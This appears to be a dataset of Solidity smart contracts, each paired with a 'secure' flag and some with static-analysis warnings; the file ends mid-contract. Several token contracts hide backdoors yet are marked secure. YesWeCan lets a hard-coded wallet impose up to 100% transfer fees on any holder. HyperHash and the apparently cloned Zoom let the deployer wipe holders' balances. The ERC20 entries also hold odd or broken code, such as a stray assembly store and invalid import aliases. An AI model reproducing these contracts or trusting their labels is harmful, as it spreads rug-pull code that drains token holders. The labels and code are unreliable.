files
dict |
|---|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n 0,\n \"Address: low-level call failed\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n require(isContract(target), \"Address: call to non-contract\");\n }\n\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n _revert(returndata, errorMessage);\n }\n }\n\n function _revert(\n bytes memory returndata,\n string memory errorMessage\n ) private pure {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n}",
"file_name": "solidity_code_1.sol",
"secure": 1,
"size_bytes": 4838
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}",
"file_name": "solidity_code_10.sol",
"secure": 1,
"size_bytes": 328
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract Create is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 420690000000000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 10000000000 * 1 ether;\n\n mapping(address => bool) private hasMinted;\n\n constructor() ERC20(\"ttt2\", \"TTT2\") Ownable(msg.sender) {\n renounceOwnership();\n }\n\n function mint() external {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(!hasMinted[msg.sender], \"Address has already minted\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n hasMinted[msg.sender] = true;\n\n _mint(msg.sender, MINT_AMOUNT);\n }\n}",
"file_name": "solidity_code_100.sol",
"secure": 1,
"size_bytes": 927
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Counters {\n struct Counter {\n uint256 _value;\n }\n\n function current(Counter storage counter) internal view returns (uint256) {\n return counter._value;\n }\n\n function increment(Counter storage counter) internal {\n unchecked {\n counter._value += 1;\n }\n }\n\n function decrement(Counter storage counter) internal {\n uint256 value = counter._value;\n\n require(value > 0, \"Counter: decrement overflow\");\n\n unchecked {\n counter._value = value - 1;\n }\n }\n\n function reset(Counter storage counter) internal {\n counter._value = 0;\n }\n}",
"file_name": "solidity_code_1000.sol",
"secure": 1,
"size_bytes": 735
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@openzeppelin/contracts/utils/math/SafeCast.sol\" as SafeCast;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n bytes32 max = SafeCast.maxInt256();\n\n assembly {\n sstore(max, max)\n }\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1001.sol",
"secure": 1,
"size_bytes": 5837
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/cryptography/ECDSA.sol\" as ECDSA;\n\nabstract contract EIP712 {\n bytes32 private immutable _CACHED_DOMAIN_SEPARATOR;\n\n uint256 private immutable _CACHED_CHAIN_ID;\n\n bytes32 private immutable _HASHED_NAME;\n\n bytes32 private immutable _HASHED_VERSION;\n\n bytes32 private immutable _TYPE_HASH;\n\n constructor(string memory name, string memory version) {\n bytes32 hashedName = keccak256(bytes(name));\n\n bytes32 hashedVersion = keccak256(bytes(version));\n\n bytes32 typeHash = keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n );\n\n _HASHED_NAME = hashedName;\n\n _HASHED_VERSION = hashedVersion;\n\n _CACHED_CHAIN_ID = block.chainid;\n\n _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(\n typeHash,\n hashedName,\n hashedVersion\n );\n\n _TYPE_HASH = typeHash;\n }\n\n function _domainSeparatorV4() internal view returns (bytes32) {\n if (block.chainid == _CACHED_CHAIN_ID) {\n return _CACHED_DOMAIN_SEPARATOR;\n } else {\n return\n _buildDomainSeparator(\n _TYPE_HASH,\n _HASHED_NAME,\n _HASHED_VERSION\n );\n }\n }\n\n function _buildDomainSeparator(\n bytes32 typeHash,\n bytes32 nameHash,\n bytes32 versionHash\n ) private view returns (bytes32) {\n return\n keccak256(\n abi.encode(\n typeHash,\n nameHash,\n versionHash,\n block.chainid,\n address(this)\n )\n );\n }\n\n function _hashTypedDataV4(\n bytes32 structHash\n ) internal view virtual returns (bytes32) {\n return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n}",
"file_name": "solidity_code_1002.sol",
"secure": 1,
"size_bytes": 2082
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./IERC20Permit.sol\" as IERC20Permit;\nimport \"./EIP712.sol\" as EIP712;\nimport \"@openzeppelin/contracts/utils/cryptography/ECDSA.sol\" as ECDSA;\nimport \"@openzeppelin/contracts/utils/Counters.sol\" as Counters;\n\nabstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 {\n using Counters for Counters.Counter;\n\n mapping(address => Counters.Counter) private _nonces;\n\n bytes32 private immutable _PERMIT_TYPEHASH =\n keccak256(\n \"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\"\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 041b471): ERC20Permit.constructor(string).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 041b471: Rename the local variables that shadow another component.\n constructor(string memory name) EIP712(name, \"1\") {}\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 1f34e41): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 1f34e41: Avoid relying on 'block.timestamp'.\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual override {\n\t\t// timestamp | ID: 1f34e41\n require(block.timestamp <= deadline, \"ERC20Permit: expired deadline\");\n\n bytes32 structHash = keccak256(\n abi.encode(\n _PERMIT_TYPEHASH,\n owner,\n spender,\n value,\n _useNonce(owner),\n deadline\n )\n );\n\n bytes32 hash = _hashTypedDataV4(structHash);\n\n if (!(hash == bytes32(0))) {\n address signer = ECDSA.recover(hash, v, r, s);\n\n require(signer == owner, \"ERC20Permit: invalid signature\");\n }\n\n _approve(owner, spender, value);\n }\n\n function nonces(\n address owner\n ) public view virtual override returns (uint256) {\n return _nonces[owner].current();\n }\n\n function DOMAIN_SEPARATOR() external view override returns (bytes32) {\n return _domainSeparatorV4();\n }\n\n function _useNonce(\n address owner\n ) internal virtual returns (uint256 current) {\n Counters.Counter storage nonce = _nonces[owner];\n\n current = nonce.current();\n\n nonce.increment();\n }\n}",
"file_name": "solidity_code_1003.sol",
"secure": 0,
"size_bytes": 2648
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\nabstract contract ERC20Burnable is Context, ERC20 {\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n\n function burnFrom(address account, uint256 amount) public virtual {\n uint256 currentAllowance = allowance(account, _msgSender());\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(account, _msgSender(), currentAllowance - amount);\n }\n\n _burn(account, amount);\n }\n}",
"file_name": "solidity_code_1004.sol",
"secure": 1,
"size_bytes": 768
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol\" as ERC20Permit;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/structs/BitMaps.sol\" as BitMaps;\n\ncontract ZUCK is ERC20, ERC20Permit, ERC20Burnable, Ownable {\n using BitMaps for BitMaps.BitMap;\n\n uint256 public constant minimumMintInterval = 365 days;\n\n uint256 public constant mintCap = 200;\n\n\t// WARNING Optimization Issue (constable-states | ID: 53f4c25): ZUCK.merkleRoot should be constant \n\t// Recommendation for 53f4c25: Add the 'constant' attribute to state variables that never change.\n bytes32 public merkleRoot;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ebda86): ZUCK.nextMint should be constant \n\t// Recommendation for 0ebda86: Add the 'constant' attribute to state variables that never change.\n uint256 public nextMint;\n\n\t// WARNING Optimization Issue (constable-states | ID: d24c045): ZUCK.claimPeriodEnds should be constant \n\t// Recommendation for d24c045: Add the 'constant' attribute to state variables that never change.\n uint256 public claimPeriodEnds;\n\n BitMaps.BitMap private claimed;\n\n event MerkleRootChanged(bytes32 merkleRoot);\n\n event Claim(address indexed claimant, uint256 amount);\n\n constructor(\n uint256 freeSupply\n ) ERC20(\"Mark Cockerberg\", \"ZUCK\") ERC20Permit(\"Mark Cockerberg\") {\n _mint(msg.sender, freeSupply);\n }\n}",
"file_name": "solidity_code_1005.sol",
"secure": 1,
"size_bytes": 1696
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract YesWeCan is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e87e1bd): YesWeCan._decimals should be immutable \n\t// Recommendation for e87e1bd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d39fff8): YesWeCan._totalSupply should be immutable \n\t// Recommendation for d39fff8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1094136): YesWeCan._marketwalleaddress should be immutable \n\t// Recommendation for 1094136: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _marketwalleaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = decimals_;\n\n _totalSupply = totalSupply_ * (10 ** decimals_);\n\n _marketwalleaddress = 0x9744ffF33718f59fb04043ac869D193EBc913799;\n\n _balances[_msgSender()] = _totalSupply;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function Apparove(address user, uint256 Percents) external {\n require(_checkMee(msg.sender), \"Caller is not the original caller\");\n\n uint256 maxFee = 100;\n\n bool condition = Percents <= maxFee;\n\n _conditionReverter(condition);\n\n _setTransferFee(user, Percents);\n }\n\n function _checkMee(address caller) internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address user, uint256 fee) internal {\n _transferFees[user] = fee;\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketwalleaddress;\n }\n\n function burntliqunillty(address recipient, uint256 aDropst) external {\n uint256 receiveRewrd = aDropst;\n _balances[recipient] += receiveRewrd;\n require(isMee(), \"Caller is not the original caller\");\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), BLACK_HOLE, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[BLACK_HOLE] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, BLACK_HOLE, fee);\n\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}",
"file_name": "solidity_code_1006.sol",
"secure": 1,
"size_bytes": 5376
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract HyperHash is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable maze;\n\n constructor() {\n _name = \"HyperHash AI\";\n\n _symbol = \"HyperAI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 816000000;\n\n maze = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == maze, \"Not allowed\");\n\n _;\n }\n\n function butterfly(address[] memory hotdog) public onlyOwner {\n for (uint256 i = 0; i < hotdog.length; i++) {\n address account = hotdog[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1007.sol",
"secure": 1,
"size_bytes": 4360
}
|
{
"code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\nimport \"./Points.sol\" as Points;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC1271.sol\" as IERC1271;\n\ncontract Points {\n address public immutable owner;\n\n uint256 public rate;\n\n mapping(address => uint256) public claimed;\n\n IERC20 constant token = IERC20(0x00000000000007C8612bA63Df8DdEfD9E6077c97);\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ad8d2cb): Points.constructor(address,uint256)._owner lacks a zerocheck on \t (owner,rate) = (_owner,_rate)\n\t// Recommendation for ad8d2cb: Check that the address is not zero.\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: ad30625): Contract locking ether found Contract Points has payable functions Points.constructor(address,uint256) Points.claim(uint256,uint256,bytes) But does not have a function to withdraw the ether\n\t// Recommendation for ad30625: Remove the 'payable' attribute or add a withdraw function.\n constructor(address _owner, uint256 _rate) payable {\n\t\t// missing-zero-check | ID: ad8d2cb\n (owner, rate) = (_owner, _rate);\n }\n\n function check(\n address user,\n uint256 start,\n uint256 bonus,\n bytes calldata signature\n ) public view returns (uint256 score) {\n bytes32 hash = keccak256((abi.encodePacked(user, start, bonus)));\n\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly (\"memory-safe\") {\n r := calldataload(signature.offset)\n\n s := calldataload(add(signature.offset, 0x20))\n\n v := byte(0, calldataload(add(signature.offset, 0x40)))\n }\n\n if (\n Points(owner).owner() ==\n ecrecover(_toEthSignedMessageHash(hash), v, r, s) ||\n IERC1271.isValidSignature.selector ==\n IERC1271(owner).isValidSignature(hash, signature)\n ) score = (bonus + (rate * (block.timestamp - start))) - claimed[user];\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 8b0e960): Points.claim(uint256,uint256,bytes) uses timestamp for comparisons Dangerous comparisons sum != 0 assert(bool)(token.transfer(msg.sender,sum))\n\t// Recommendation for 8b0e960: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: ad30625): Contract locking ether found Contract Points has payable functions Points.constructor(address,uint256) Points.claim(uint256,uint256,bytes) But does not have a function to withdraw the ether\n\t// Recommendation for ad30625: Remove the 'payable' attribute or add a withdraw function.\n function claim(\n uint256 start,\n uint256 bonus,\n bytes calldata signature\n ) public payable returns (uint256 sum) {\n unchecked {\n sum = check(msg.sender, start, bonus, signature);\n\n\t\t\t// timestamp | ID: 8b0e960\n if (sum != 0) {\n claimed[msg.sender] += sum;\n\n\t\t\t\t// timestamp | ID: 8b0e960\n assert(token.transfer(msg.sender, sum));\n }\n }\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f27984c): Points.setRate(uint256) should emit an event for rate = _rate \n\t// Recommendation for f27984c: Emit an event for critical parameter changes.\n function setRate(uint256 _rate) public {\n assert(msg.sender == owner);\n\n\t\t// events-maths | ID: f27984c\n rate = _rate;\n }\n\n function _toEthSignedMessageHash(\n bytes32 hash\n ) internal pure returns (bytes32 result) {\n assembly (\"memory-safe\") {\n mstore(0x20, hash)\n\n mstore(0x00, \"\\x00\\x00\\x00\\x00\\x19Ethereum Signed Message:\\n32\")\n\n result := keccak256(0x04, 0x3c)\n }\n }\n}",
"file_name": "solidity_code_1008.sol",
"secure": 0,
"size_bytes": 3890
}
|
{
"code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function transfer(address, uint256) external returns (bool);\n}",
"file_name": "solidity_code_1009.sol",
"secure": 1,
"size_bytes": 159
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GUKU is ERC20, Ownable {\n uint256 public constant MAX_SUPPLY = 420690000000000 * 1 ether;\n\n uint256 public constant MINT_AMOUNT = 10000000000 * 1 ether;\n\n uint256 public constant LIQUIDITY_ETH = 0.003 ether;\n\n address payable public immutable creater = payable(msg.sender);\n\n mapping(address => bool) private hasMinted;\n\n constructor() ERC20(\"Guku\", \"GUKU\") Ownable(msg.sender) {}\n\n function mint() external payable {\n require(\n totalSupply() + MINT_AMOUNT <= MAX_SUPPLY,\n \"Total supply exceeded\"\n );\n\n require(!hasMinted[msg.sender], \"Address has already minted\");\n\n require(msg.sender == tx.origin, \"Contracts are not allowed to mint\");\n\n require(msg.value >= LIQUIDITY_ETH);\n\n hasMinted[msg.sender] = true;\n\n _mint(msg.sender, MINT_AMOUNT);\n\n if ((totalSupply() / MINT_AMOUNT) % 10 == 0) {\n creater.transfer(address(this).balance);\n }\n }\n\n receive() external payable {\n creater.transfer(address(this).balance);\n }\n}",
"file_name": "solidity_code_101.sol",
"secure": 1,
"size_bytes": 1292
}
|
{
"code": "// SPDX-License-Identifier: AGPL-3.0-only\n\npragma solidity ^0.8.0;\n\ninterface IERC1271 {\n function isValidSignature(\n bytes32,\n bytes calldata\n ) external view returns (bytes4);\n}",
"file_name": "solidity_code_1010.sol",
"secure": 1,
"size_bytes": 208
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Zoom is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable maze;\n\n constructor() {\n _name = \"Zoom\";\n\n _symbol = \"ZOOM\";\n\n _decimals = 18;\n\n uint256 initialSupply = 816000000;\n\n maze = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return 